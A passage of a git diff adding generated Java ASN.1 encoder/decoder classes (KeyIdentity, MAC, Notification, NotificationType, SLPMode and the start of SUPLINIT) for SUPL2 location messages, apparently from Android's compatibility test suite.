+ setMinSize(128);
+setMaxSize(128);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_KeyIdentity;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_KeyIdentity != null) {
+ return ImmutableList.of(TAG_KeyIdentity);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new KeyIdentity from encoded stream.
+ */
+ public static KeyIdentity fromPerUnaligned(byte[] encodedBytes) {
+ KeyIdentity result = new KeyIdentity();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new KeyIdentity from encoded stream.
+ */
+ public static KeyIdentity fromPerAligned(byte[] encodedBytes) {
+ KeyIdentity result = new KeyIdentity();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "KeyIdentity = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/MAC.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/MAC.java
new file mode 100755
index 0000000..3d97036
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/MAC.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_init;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class MAC extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_MAC
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public MAC() {
+ super();
+ setMinSize(64);
+setMaxSize(64);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_MAC;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_MAC != null) {
+ return ImmutableList.of(TAG_MAC);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new MAC from encoded stream.
+ */
+ public static MAC fromPerUnaligned(byte[] encodedBytes) {
+ MAC result = new MAC();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new MAC from encoded stream.
+ */
+ public static MAC fromPerAligned(byte[] encodedBytes) {
+ MAC result = new MAC();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "MAC = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/Notification.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/Notification.java
new file mode 100755
index 0000000..3a311f7
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/Notification.java
@@ -0,0 +1,742 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_init;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1OctetString;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.ulp_version_2_parameter_extensions.Ver2_Notification_extension;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Notification extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Notification
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Notification() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Notification;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Notification != null) {
+ return ImmutableList.of(TAG_Notification);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Notification from encoded stream.
+ */
+ public static Notification fromPerUnaligned(byte[] encodedBytes) {
+ Notification result = new Notification();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Notification from encoded stream.
+ */
+ public static Notification fromPerAligned(byte[] encodedBytes) {
+ Notification result = new Notification();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private NotificationType notificationType_;
+ public NotificationType getNotificationType() {
+ return notificationType_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NotificationType
+ */
+ public void setNotificationType(Asn1Object value) {
+ this.notificationType_ = (NotificationType) value;
+ }
+ public NotificationType setNotificationTypeToNewInstance() {
+ notificationType_ = new NotificationType();
+ return notificationType_;
+ }
+
+ private EncodingType encodingType_;
+ public EncodingType getEncodingType() {
+ return encodingType_;
+ }
+ /**
+ * @throws ClassCastException if value is not a EncodingType
+ */
+ public void setEncodingType(Asn1Object value) {
+ this.encodingType_ = (EncodingType) value;
+ }
+ public EncodingType setEncodingTypeToNewInstance() {
+ encodingType_ = new EncodingType();
+ return encodingType_;
+ }
+
+ private Notification.requestorIdType requestorId_;
+ public Notification.requestorIdType getRequestorId() {
+ return requestorId_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Notification.requestorIdType
+ */
+ public void setRequestorId(Asn1Object value) {
+ this.requestorId_ = (Notification.requestorIdType) value;
+ }
+ public Notification.requestorIdType setRequestorIdToNewInstance() {
+ requestorId_ = new Notification.requestorIdType();
+ return requestorId_;
+ }
+
+ private FormatIndicator requestorIdType_;
+ public FormatIndicator getRequestorIdType() {
+ return requestorIdType_;
+ }
+ /**
+ * @throws ClassCastException if value is not a FormatIndicator
+ */
+ public void setRequestorIdType(Asn1Object value) {
+ this.requestorIdType_ = (FormatIndicator) value;
+ }
+ public FormatIndicator setRequestorIdTypeToNewInstance() {
+ requestorIdType_ = new FormatIndicator();
+ return requestorIdType_;
+ }
+
+ private Notification.clientNameType clientName_;
+ public Notification.clientNameType getClientName() {
+ return clientName_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Notification.clientNameType
+ */
+ public void setClientName(Asn1Object value) {
+ this.clientName_ = (Notification.clientNameType) value;
+ }
+ public Notification.clientNameType setClientNameToNewInstance() {
+ clientName_ = new Notification.clientNameType();
+ return clientName_;
+ }
+
+ private FormatIndicator clientNameType_;
+ public FormatIndicator getClientNameType() {
+ return clientNameType_;
+ }
+ /**
+ * @throws ClassCastException if value is not a FormatIndicator
+ */
+ public void setClientNameType(Asn1Object value) {
+ this.clientNameType_ = (FormatIndicator) value;
+ }
+ public FormatIndicator setClientNameTypeToNewInstance() {
+ clientNameType_ = new FormatIndicator();
+ return clientNameType_;
+ }
+
+
+
+ private Ver2_Notification_extension extensionVer2_Notification_extension;
+ public Ver2_Notification_extension getExtensionVer2_Notification_extension() {
+ return extensionVer2_Notification_extension;
+ }
+ /**
+ * @throws ClassCastException if value is not a Ver2_Notification_extension
+ */
+ public void setExtensionVer2_Notification_extension(Asn1Object value) {
+ extensionVer2_Notification_extension = (Ver2_Notification_extension) value;
+ }
+ public void setExtensionVer2_Notification_extensionToNewInstance() {
+ extensionVer2_Notification_extension = new Ver2_Notification_extension();
+ }
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getNotificationType() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNotificationType();
+ }
+
+ @Override public void setToNewInstance() {
+ setNotificationTypeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NotificationType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "notificationType : "
+ + getNotificationType().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getEncodingType() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEncodingType();
+ }
+
+ @Override public void setToNewInstance() {
+ setEncodingTypeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? EncodingType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "encodingType : "
+ + getEncodingType().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getRequestorId() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRequestorId();
+ }
+
+ @Override public void setToNewInstance() {
+ setRequestorIdToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Notification.requestorIdType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "requestorId : "
+ + getRequestorId().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getRequestorIdType() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRequestorIdType();
+ }
+
+ @Override public void setToNewInstance() {
+ setRequestorIdTypeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? FormatIndicator.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "requestorIdType : "
+ + getRequestorIdType().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getClientName() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getClientName();
+ }
+
+ @Override public void setToNewInstance() {
+ setClientNameToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Notification.clientNameType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "clientName : "
+ + getClientName().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getClientNameType() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getClientNameType();
+ }
+
+ @Override public void setToNewInstance() {
+ setClientNameTypeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? FormatIndicator.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "clientNameType : "
+ + getClientNameType().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ @Override public boolean isExplicitlySet() {
+ return getExtensionVer2_Notification_extension() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionVer2_Notification_extension();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionVer2_Notification_extensionToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ throw new UnsupportedOperationException(
+ "BER decoding not supported for extension elements");
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ver2_Notification_extension : "
+ + getExtensionVer2_Notification_extension().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class requestorIdType extends Asn1OctetString {
+ //
+
+ private static final Asn1Tag TAG_requestorIdType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public requestorIdType() {
+ super();
+ setMinSize(1);
+setMaxSize(50);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_requestorIdType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_requestorIdType != null) {
+ return ImmutableList.of(TAG_requestorIdType);
+ } else {
+ return Asn1OctetString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new requestorIdType from encoded stream.
+ */
+ public static requestorIdType fromPerUnaligned(byte[] encodedBytes) {
+ requestorIdType result = new requestorIdType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new requestorIdType from encoded stream.
+ */
+ public static requestorIdType fromPerAligned(byte[] encodedBytes) {
+ requestorIdType result = new requestorIdType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override protected String getTypeName() {
+ return "requestorIdType";
+ }
+}
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class clientNameType extends Asn1OctetString {
+ //
+
+ private static final Asn1Tag TAG_clientNameType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public clientNameType() {
+ super();
+ setMinSize(1);
+setMaxSize(50);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_clientNameType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_clientNameType != null) {
+ return ImmutableList.of(TAG_clientNameType);
+ } else {
+ return Asn1OctetString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new clientNameType from encoded stream.
+ */
+ public static clientNameType fromPerUnaligned(byte[] encodedBytes) {
+ clientNameType result = new clientNameType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new clientNameType from encoded stream.
+ */
+ public static clientNameType fromPerAligned(byte[] encodedBytes) {
+ clientNameType result = new clientNameType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override protected String getTypeName() {
+ return "clientNameType";
+ }
+}
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Notification = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/NotificationType.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/NotificationType.java
new file mode 100755
index 0000000..e3d149a
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/NotificationType.java
@@ -0,0 +1,161 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_init;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Enumerated;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class NotificationType extends Asn1Enumerated {
+ public enum Value implements Asn1Enumerated.Value {
+ noNotificationNoVerification(0),
+ notificationOnly(1),
+ notificationAndVerficationAllowedNA(2),
+ notificationAndVerficationDeniedNA(3),
+ privacyOverride(4),
+ ;
+
+ Value(int i) {
+ value = i;
+ }
+
+ private int value;
+ public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return false;
+ }
+ }
+
+ public enum ExtensionValue implements Asn1Enumerated.Value {
+ ;
+
+ ExtensionValue(int i) {
+ value = i;
+ }
+
+ private int value;
+ @Override public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return true;
+ }
+ }
+
+
+
+ private static final Asn1Tag TAG_NotificationType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public NotificationType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_NotificationType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_NotificationType != null) {
+ return ImmutableList.of(TAG_NotificationType);
+ } else {
+ return Asn1Enumerated.getPossibleFirstTags();
+ }
+ }
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override protected Asn1Enumerated.Value lookupValue(int ordinal) {
+ return Value.values()[ordinal];
+ }
+
+ @Override protected Asn1Enumerated.Value lookupExtensionValue(int ordinal) {
+ return ExtensionValue.values()[ordinal];
+ }
+
+ @Override protected int getValueCount() {
+ return Value.values().length;
+ }
+
+ /**
+ * Creates a new NotificationType from encoded stream.
+ */
+ public static NotificationType fromPerUnaligned(byte[] encodedBytes) {
+ NotificationType result = new NotificationType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new NotificationType from encoded stream.
+ */
+ public static NotificationType fromPerAligned(byte[] encodedBytes) {
+ NotificationType result = new NotificationType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "NotificationType = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/SLPMode.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/SLPMode.java
new file mode 100755
index 0000000..bdd59f9
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/SLPMode.java
@@ -0,0 +1,158 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_init;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Enumerated;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SLPMode extends Asn1Enumerated {
+ public enum Value implements Asn1Enumerated.Value {
+ proxy(0),
+ nonProxy(1),
+ ;
+
+ Value(int i) {
+ value = i;
+ }
+
+ private int value;
+ public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return false;
+ }
+ }
+
+ public enum ExtensionValue implements Asn1Enumerated.Value {
+ ;
+
+ ExtensionValue(int i) {
+ value = i;
+ }
+
+ private int value;
+ @Override public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return true;
+ }
+ }
+
+
+
+ private static final Asn1Tag TAG_SLPMode
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SLPMode() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SLPMode;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SLPMode != null) {
+ return ImmutableList.of(TAG_SLPMode);
+ } else {
+ return Asn1Enumerated.getPossibleFirstTags();
+ }
+ }
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override protected Asn1Enumerated.Value lookupValue(int ordinal) {
+ return Value.values()[ordinal];
+ }
+
+ @Override protected Asn1Enumerated.Value lookupExtensionValue(int ordinal) {
+ return ExtensionValue.values()[ordinal];
+ }
+
+ @Override protected int getValueCount() {
+ return Value.values().length;
+ }
+
+ /**
+ * Creates a new SLPMode from encoded stream.
+ */
+ public static SLPMode fromPerUnaligned(byte[] encodedBytes) {
+ SLPMode result = new SLPMode();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SLPMode from encoded stream.
+ */
+ public static SLPMode fromPerAligned(byte[] encodedBytes) {
+ SLPMode result = new SLPMode();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "SLPMode = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/SUPLINIT.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/SUPLINIT.java
new file mode 100755
index 0000000..f7ce764
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/SUPLINIT.java
@@ -0,0 +1,648 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_init;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
